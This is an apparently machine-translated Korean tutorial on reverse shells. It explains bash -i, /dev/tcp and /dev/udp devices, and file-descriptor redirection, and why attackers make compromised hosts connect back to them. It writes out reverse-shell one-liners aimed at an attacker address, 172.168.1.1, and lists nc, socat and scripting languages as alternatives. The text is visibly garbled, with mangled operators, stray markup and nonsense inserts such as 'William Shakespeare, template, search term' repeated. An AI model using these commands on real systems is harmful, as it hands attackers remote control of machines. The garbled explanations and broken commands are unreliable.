바운스 쉘 기초
이 문장을 뜯어보면, bash -i, > & , /dev/tcp/, > & 1, 세 가지 지식 포인트가 있습니다.
(1) bash -i 는 대화형 bash
(2) /dev/tcp/ 는 Linux 의 특수 장치이며, 이 파일을 여는 것은 소켓 호출을 실행하여 소켓 연결을 설정하는 것과 같습니다 마찬가지로 Linux 에도 /dev/udp/ 가 있습니다.
(3) > & 그리고 > & 1 이 두 가지는 Linux 파일 설명자와 리디렉션을 포함합니다. 여기 & 가 있습니다 주소
(1) 파일 설명자
Linux 가 시작될 때 기본적으로 세 개의 파일 설명자 (파일 읽기 및 쓰기 작업) 가 켜지고, Linux 는 키보드, 모니터 등의 장치도 파일 설명자로 제어하므로 기본 장치를 수정하려면 리디렉션이 필요합니다.
(2) 리디렉션
입력된 리디렉션에는 < 가 포함됩니다 그리고 < < , 출력 리디렉션에는 > 그리고 > > , n< File 은 파일 설명자 n 을 file 이 참조하는 파일 (읽기 전용으로 열림) 로 리디렉션하고 n 이 생략되면 (표준 입력) 으로 리디렉션합니다. 마찬가지로 출력 리디렉션인 경우 n> 파일, n 생략은 기본적으로 1 입니다.
오류 출력의 리디렉션은 세 가지 형식
으로 제공됩니다. 여기서 & > 그리고 > & 표준 오류 출력을 표준 출력으로 통합하는 것을 의미합니다. 2> & 1 및 > File 은 다음 순서도로 < P > 를 나타낼 수 있습니다. 위의 입력 및 출력 리디렉션, 입력 및 출력을 파일에 바인딩하거나 장치는 해당 명령에만 유효합니다. 계속 유효하려면 exec 명령 exec n < 를 추가해야 합니다. /> File/n
(3) 복제
는 파일 설명자의 복제 n< 와 비슷합니다 & M/n> & M, 둘 다 파일 설명자 N 을 M 에 복사합니다. 차이점은 전자가 읽기 전용으로 열리고 후자가 쓰기로 열린다는 것입니다. 읽기/쓰기 방식은 복제 작업에 거의 영향을 주지 않기 때문에 기본적으로 동등한 것으로 볼 수 있습니다. 여기 & 목적은 & 가 없는 경우 숫자로 이름이 지정된 파일과 파일 설명자의 숫자 값을 구분하는 것입니다 파일 설명자를 다른 파일 설명자가 아닌 파일 이름으로 번호가 매겨진 파일로 리디렉션하는 것으로 간주됩니다. < P > 이 명령을 다시 보면 대화식 bash 와 172.168.1.1:8 에 대한 TCP 링크를 만든 다음 bash 의 입출력 오류를 172.168.1.1:8 으로 리디렉션하는 것으로 이해할 수 있습니다. < P > 우선, 바운스 셸은 공격자가 TCP/UDP 포트에서 수신하여 제어측의 요청을 해당 포트로 전달하여 입력 출력을 제어할 수 있다는 것을 이해할 수 있습니다. 일반 공격자는 한 대의 시스템을 공격하고 자신의 호스트를 사용하여 해당 시스템의 포트에 연결합니다. 이는 원격 데스크톱, 웹 서비스, ssh, 텔넷 등이 모두 정방향으로 연결되는' 정방향 연결' 입니다. 그러나 공격당한 시스템이 인트라넷에 있으면 연결할 수 없거나 방화벽 등의 제한이 있거나 공격자가 실시간으로 제어해야 하는 경우 정방향 연결은 요구 사항을 충족하지 못할 수 있습니다. (데이비드 아셀, Northern Exposure (미국 TV 드라마), 공격명언) 따라서 "역방향 연결" 은 공격당한 호스트가 공격자의 서버에 적극적으로 연결하도록 하는 것입니다. < P > 따라서 역방향 연결의 관점에서 > 를 이해할 수 있습니다. & 1. 그냥 bash -i > & /shell/tcp/172.168.1.1/8, 출력 설명자를 포트에 연결합니다. 이 포트는 우리의 출력을 수신할 수 있습니다. 즉, 공격자의 시스템을 연결하고 있지만 셸을 입력하면 반향을 볼 수 없습니다. 반향은 공격자의 컴퓨터에만 나타납니다. 반향을 얻으려면 공격받는 시스템의 입력 설명자를 우리가 수신하는 포트에 연결해야 합니다. < P > 즉, 반향을 보려면 먼저 출력 설명자를 포트에 연결하는 것 외에 입력 설명자도 포트에 연결해야 합니다. 즉, 입력 설명자 과 출력 설명자 1 연결은 같은 > & 1 이면 해결된다. 이로 인해 원격 대화식 셸의 기능을 구현하는 루프가 형성됩니다. < P > 하지만 이러한 지시는 아직 완벽하지 않습니다. 공격받는 시스템에서 우리가 공격자 시스템에서 실행하는 명령을 여전히 볼 수 있기 때문입니다. 해결책은 잘못된 출력과 표준 출력을 혼합하는 것입니다. bash -i > Bash -i > &
Bash 관련 셸은 주로 다음과 같습니다.
방금 자세히 설명한 것은 첫 번째 bash 쉘이고, 두 번째는 > 입니다 & 이 잘못된 출력의 혼합 방법은 2> 로 변경되었습니다. & 1,2 는 잘못된 출력을 나타내고, 1 은 표준 출력을 나타내고, 2 는 1 을 가리키고, 즉 출력이 혼합됩니다. 파일 설명자의 복제 n< & M/n> & M 두 가지 읽기와 쓰기는 다르지만 셸에 대한 효과는 동일합니다. 즉 > 와 같습니다. & 1 효과가 같습니다. 그래서 두 번째는 첫 번째 변종이다. 넷째, 입력, 출력, 보고 오류는 모두 같은 위치에 있습니다. 다섯 번째는 새로운 파일 설명자 196 을 선택했는데, 이치는 비슷하다.
세 번째 bash 셸의 경우 exec 는 앞에서 지속 가능한 연결을 언급했으며, 다음 키는 다음과 같습니다.
파일에서 각 행을 차례로 읽고 line 변수에 할당 (기타 다른 것도 가능) 한 다음 루프에서 line 을 조작합니다. 여기서는 더 이상 파일에서 읽지 않고 파이프 문자를 통해 공격자 시스템에 입력된 명령을 순차적으로 실행하고 표준 출력과 표준 오류 출력을 모두 파일 설명자 5, 즉 공격기로 리디렉션하여 대화식 셸의 기능을 구현합니다. < P > 또한 이 문서의 시작 부분에서 /dev/tcp/ 는 Linux 의 특수 장치인 /dev/udp/ 와 유사하며 TCP 방식으로 직접 UDP 로 변경하면 됩니다.
sh -i > & /dev/udp/172.168.1.1/8 > & 1
bash 외에도 타사 도구 (NC, 텔넷, socat, xterm) 를 대여하거나 스크립팅 언어 (python, Perl, Ruby, Go, PHP, Lua) 를 사용합니다 이 문장 요약 쉘을 작성하는 과정에서 인터넷 상의 셸을 거의 8 개 가까이 수집하고, Bash shell 를 썼는데, 이는 간단한 쿼리 셸의 도구이며, 필요한 아래 댓글이 있다. (윌리엄 셰익스피어, 템플릿, 검색어, 검색어, 검색어, 검색어, 검색어, 검색어, 검색어, 검색어)